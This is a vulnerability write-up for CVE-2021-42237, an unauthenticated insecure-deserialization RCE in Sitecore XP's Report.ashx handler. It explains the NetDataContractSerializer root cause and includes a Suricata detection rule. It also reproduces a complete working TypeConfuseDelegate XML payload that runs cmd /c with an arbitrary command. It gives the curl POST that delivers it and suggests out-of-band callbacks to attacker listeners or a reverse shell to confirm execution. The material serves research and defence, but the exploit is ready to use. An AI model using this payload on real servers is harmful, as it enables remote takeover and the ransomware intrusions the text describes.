Sitecore XP Report.ashx Insecure Deserialization RCE (CVE-2021-42237)

Metadata

Affected Target

Summary

Sitecore Experience Platform ships a legacy, unused reporting handler at /sitecore/shell/ClientBin/Reporting/Report.ashx that is reachable without authentication. The handler deserializes an attacker-supplied XML <parameters> block using NetDataContractSerializer, a .NET serializer that reconstructs arbitrary CLR types from its input and is unsafe to use on untrusted data. By submitting a crafted XML payload containing a System.Collections.Generic.SortedSet whose custom ComparisonComparer delegate points at System.Diagnostics.Process.Start, an unauthenticated remote attacker can achieve arbitrary OS command execution in the context of the IIS application pool (typically NETWORK SERVICE or a dedicated app-pool identity). The vulnerability was discovered and disclosed by Assetnote in November 2021, received a public PoC and a Metasploit module shortly after, was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 2022-03-25, and has since been observed used in ransomware intrusions — giving it an EPSS score of roughly 0.979 (near-certain exploitation likelihood).

Vulnerability Details

Root Cause

The handler class Sitecore.sitecore.shell.ClientBin.Reporting.Report implements IHttpHandler. Its ProcessRequest() method calls into ProcessReport(), which in turn calls ReportDataSerializer.DeserializeQuery() to parse the posted XML body. When the posted XML contains a <parameters> node, DeserializeQuery() routes it to DeserializeParameters(), which deserializes each <parameter> element’s contents with:

1

new NetDataContractSerializer().ReadObject(reader, verifyObjectName: true)

NetDataContractSerializer (unlike DataContractSerializer) embeds and trusts fully-qualified CLR type names in the serialized data, so it will instantiate essentially any type reachable by the deserializer — including types with dangerous side effects during construction/comparison. This is the classic .NET insecure-deserialization primitive (CWE-502) that gadget-chain generators like ysoserial.net target.

Assetnote’s exploit uses the TypeConfuseDelegate gadget: a System.Collections.Generic.SortedSet<string> is serialized with a ComparisonComparer<string> whose backing delegate is built from a DelegateSerializationHolder describing a chained call — String.Compare is swapped out at deserialization time for System.Diagnostics.Process.Start(string, string). When the SortedSet is reconstructed, its constructor sorts the two supplied string items to establish set order, which invokes the “comparison” delegate — actually Process.Start — with attacker-controlled arguments (cmd, /c <command>), spawning an arbitrary process.

Critically, Report.ashx performs no authentication or session check before reaching the deserialization call, and the underlying reporting feature it was built for is legacy/unused in modern Sitecore deployments — Sitecore’s own remediation guidance is to delete the file outright rather than patch its logic.

Attack Vector

Unauthenticated HTTP POST to /sitecore/shell/ClientBin/Reporting/Report.ashx with Content-Type: text/xml, where the body is a crafted <a><query/><source/><parameters>...</parameters></a> document embedding the malicious NetDataContractSerializer-formatted XML (the TypeConfuseDelegate gadget) inside a <parameter name=""> element. No cookies, tokens, or prior interaction with the target are required — a single unauthenticated request is sufficient to trigger deserialization and process creation.

Impact

Full unauthenticated remote code execution as the IIS worker process identity (w3wp.exe, commonly NETWORK SERVICE or a dedicated Sitecore app-pool account) on the Sitecore XP content management or content delivery server. In practice this identity frequently has enough privilege for an attacker to pivot further (dump credentials, deploy webshells into the Sitecore /sitecore/shell tree, reach backing SQL Server / Solr instances, and move laterally). CISA has confirmed this CVE has been leveraged in ransomware campaigns, consistent with its “Critical” 9.8 rating and pre-auth, network-reachable, no-user-interaction exploit profile.

Environment / Lab Setup

OS:          Windows Server 2016/2019 (IIS host for the target)
Target:      Sitecore Experience Platform, any build in 7.5 – 8.2 Update-7
Attacker:    Any OS with curl / Burp Suite / Metasploit
Tools:       curl, Burp Suite, ysoserial.net (TypeConfuseDelegate gadget), Metasploit (sitecore_experience_platform module)

Setup Steps

A full vulnerable Sitecore XP instance requires a licensed Sitecore install (SQL Server backend, IIS, .NET Framework) and is not trivially containerized for a public lab — no official vulnerable Docker image exists for this CVE. To reproduce safely:

1. Provision a Windows Server host with IIS and .NET Framework 4.x.
2. Install a vulnerable Sitecore XP release (7.5 – 8.2 Update-7) per Sitecore’s own installation guide, using a valid (or trial) license.
3. Confirm /sitecore/shell/ClientBin/Reporting/Report.ashx is present and returns a response (not 404) on the target.
4. Point the attacker tooling below at the target host.

Proof of Concept

See CVE-2021-42337.xml in this folder (filename as published upstream, with a typo carried over from the source repo) — mirrored verbatim from ItsIgnacioPortal/CVE-2021-42237, which itself credits and reproduces the payload structure described in Assetnote’s original research. No exploit logic has been invented for this writeup.

Step-by-Step Reproduction

1. Use the payload — CVE-2021-42337.xml in this folder (shown below), replacing CMD-COMMAND-HERE with the OS command to execute on the target:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

   <?xml version="1.0" ?> <a> <query></query> <source>foo</source> <parameters> <parameter name=""> <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"> <Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count> <Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""> <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"> <Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""> <a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly> <a:delegateEntry z:Id="7"> <a:assembly z:Ref="6" i:nil="true"/> <a:delegateEntry i:nil="true"/> <a:methodName z:Id="8">Compare</a:methodName> <a:target i:nil="true"/> <a:targetTypeAssembly z:Ref="6" i:nil="true"/> <a:targetTypeName z:Id="9">System.String</a:targetTypeName> <a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type> </a:delegateEntry> <a:methodName z:Id="11">Start</a:methodName> <a:target i:nil="true"/> <a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly> <a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName> <a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type> </Delegate> <method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"> <Name z:Ref="11" i:nil="true"/> <AssemblyName z:Ref="12" i:nil="true"/> <ClassName z:Ref="13" i:nil="true"/> <Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature> <Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2> <MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType> <GenericArguments i:nil="true"/> </method0> <method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"> <Name z:Ref="8" i:nil="true"/> <AssemblyName z:Ref="6" i:nil="true"/> <ClassName z:Ref="9" i:nil="true"/> <Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature> <Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2> <MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType> <GenericArguments i:nil="true"/> </method1> </_comparison> </Comparer> <Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version> <Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""> <string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c CMD-COMMAND-HERE</string> <string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string> </Items> </ArrayOfstring> </parameter> </parameters> </a>

2. Send the request — POST the file to the vulnerable handler on the target (replace HOST-HERE and CONTENTLENGTH-HERE; the public PoC also recommends using a randomized User-Agent):

   1 2 3 4 5 6 7 8 9

   curl -i -X POST HOST-HERE/sitecore/shell/ClientBin/Reporting/Report.ashx \ -H "Accept-Encoding: gzip, deflate" \ -H "Accept: */*" \ -H "Accept-Language: en" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" \ -H "Connection: close" \ -H "Content-Type: text/xml" \ -H "Content-Length: CONTENTLENGTH-HERE" \ --data-binary "@CVE-2021-42237.xml"

3. Verify execution — For a blind-RCE-style verification without direct output capture, set the command to an out-of-band callback (e.g. nslookup <unique>.oob.example.com or a curl to an attacker-controlled listener) and confirm the callback is received. For interactive access, use a reverse-shell one-liner as the command value.

Exploit Code

See CVE-2021-42337.xml in this folder (mirrored verbatim from ItsIgnacioPortal/CVE-2021-42237) plus the curl wrapper above. A Metasploit module (sitecore_experience_platform) also exists for automated exploitation — see the Rapid7 vulnerability DB entry in References.

Expected Output

HTTP/1.1 200 OK   (Report.ashx typically responds 200 regardless of payload outcome)

Screenshots / Evidence

No screenshots are included in this entry — the reproduction is a single unauthenticated HTTP POST; see the Proof of Concept section and the upstream PoC repository for the raw request/response.

Detection & Indicators of Compromise

"POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1" 200

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible CVE-2021-42237 Sitecore Report.ashx deserialization attempt"; \
  content:"/sitecore/shell/ClientBin/Reporting/Report.ashx"; http_uri; \
  content:"DelegateSerializationHolder"; http_client_body; \
  sid:9000101; rev:1;)

Remediation

References

• CVE-2021-42237 — NVD
• Sitecore Security Advisory SC2021-003-499266
• Assetnote — Sitecore Experience Platform Pre-Auth RCE (CVE-2021-42237), original research
• Public PoC — ItsIgnacioPortal/CVE-2021-42237 (GitHub)
• Rapid7 Vulnerability & Exploit DB — Sitecore Experience Platform CVE-2021-42237
• CISA Known Exploited Vulnerabilities Catalog

Notes

This entry was surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources — the Proof of Concept above is reproduced from the public PoC repository at github.com/ItsIgnacioPortal/CVE-2021-42237, and the root-cause/technical analysis is drawn from Assetnote’s original research at assetnote.io/resources/research/sitecore-experience-platform-pre-auth-rce-cve-2021-42237 (originally published at blog.assetnote.io, which now redirects to this URL).

Facts I could not independently re-verify against a primary CISA source during this pass: the exact 2022-03-25 CISA KEV addition date and the ~0.979 EPSS score were provided as task input and are consistent with what secondary sources (search results) returned, but a live query against https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json or the FIRST.org EPSS API was not performed in this pass — treat those two figures as needing a final cross-check against the live KEV/EPSS feeds before downstream use in anything compliance-sensitive. Sitecore’s official KB advisory URL is referenced above but was not directly fetched to confirm the exact hotfix filenames/build numbers per version line; consult Sitecore’s support portal directly for the precise patched build numbers.